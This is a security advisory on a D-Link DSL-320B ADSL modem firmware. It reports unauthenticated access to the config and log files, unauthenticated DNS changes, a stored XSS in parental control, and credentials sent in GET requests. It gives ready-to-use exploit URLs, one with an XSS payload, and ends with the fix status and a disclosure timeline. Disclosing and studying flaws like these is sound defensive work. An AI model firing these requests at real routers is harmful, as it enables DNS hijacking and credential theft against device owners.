66 lines
No EOL
2.3 KiB
Text
66 lines
No EOL
2.3 KiB
Text
Device: DSL-320B
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Firmware Version: EU_DSL-320B v1.23 date: 28.12.2010
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Vendor URL: http://www.dlink.com/de/de/home-solutions/connect/modems-and-gateways/dsl-320b-adsl-2-ethernet-modem
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============ Vulnerability Overview: ============
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* Access to the Config file without authentication => full authentication bypass possible! :): (1)
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192.168.178.111/config.bin
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===<snip>====
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<sysUserName value="admin"/>
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<zipb enable="1"/>
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<dns dynamic="disable" primary="1.1.1.1" secondary="2.2.2.3" domain="Home" host="alpha"/>
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<sysPassword value="dGVzdA=="/>
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===<snip>====
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=> sysPassword is Base64 encoded
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* Access to the logfile without authentication: (1)
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192.168.178.111/status/status_log.sys
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* Change the DNS Settings without authentication: (1)
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http://192.168.178.111/advanced/adv_dns.xgi?&SET/dns/mode=0&SET/dns/mode/server/primarydns=1.1.1.1&SET/dns/mode/server/secondarydns=2.2.2.2
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* Stored XSS within parental control (2):
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=> Parameter: set/bwlist/entry:1/hostname
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Request:
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http://192.168.178.111/home/home_parent.xgi?&set/bwlist/enable=1&set/bwlist/bw_status=0&set/bwlist/entry:1/bw_flag=0&set/bwlist/entry:1/hostname=%22%3E%3Cimg%20src=%220%22%20onerror=alert(1)%3E&set/bwlist/entry:1/weekday=6&set/bwlist/entry:1/begintime=00:00&set/bwlist/entry:1/endtime=23:59&set/bwlist/entry:1/store=1&set/bwlist/apply=1
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Again you are able to place this XSS without authentication. :)
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* Login Credentials in HTTP GET are not a good idea => use HTTP Post! (3)
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http://192.168.178.111/login.xgi?user=admin&pass=admin1
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* Credentials in HTTP GET via password change request are not a good idea => use HTTP Post!: (3)
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http://192.168.178.111/tools/tools_admin.xgi?&set/sys/account/user/oldpwd=admin&set/sys/account/user/password=test&CMT=1
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============ Solution ============
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Update to firmware version 1.25:
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(1) - fixed
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(2) - not fixed but authentication needed
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(3) - not fixed
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============ Credits ============
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The vulnerability was discovered by Michael Messner
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Mail: devnull#at#s3cur1ty#dot#de
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Web: http://www.s3cur1ty.de/advisories
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Twitter: @s3cur1ty_de
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============ Time Line: ============
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17.03.2012 - discovered vulnerabilities
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17.03.2013 - informed vendor about the vulnerabilities
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25.04.2013 - tested beta version from vendor
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30.04.2013 - vendor releases patch
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06.05.2013 - public disclosure
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===================== Advisory end ===================== |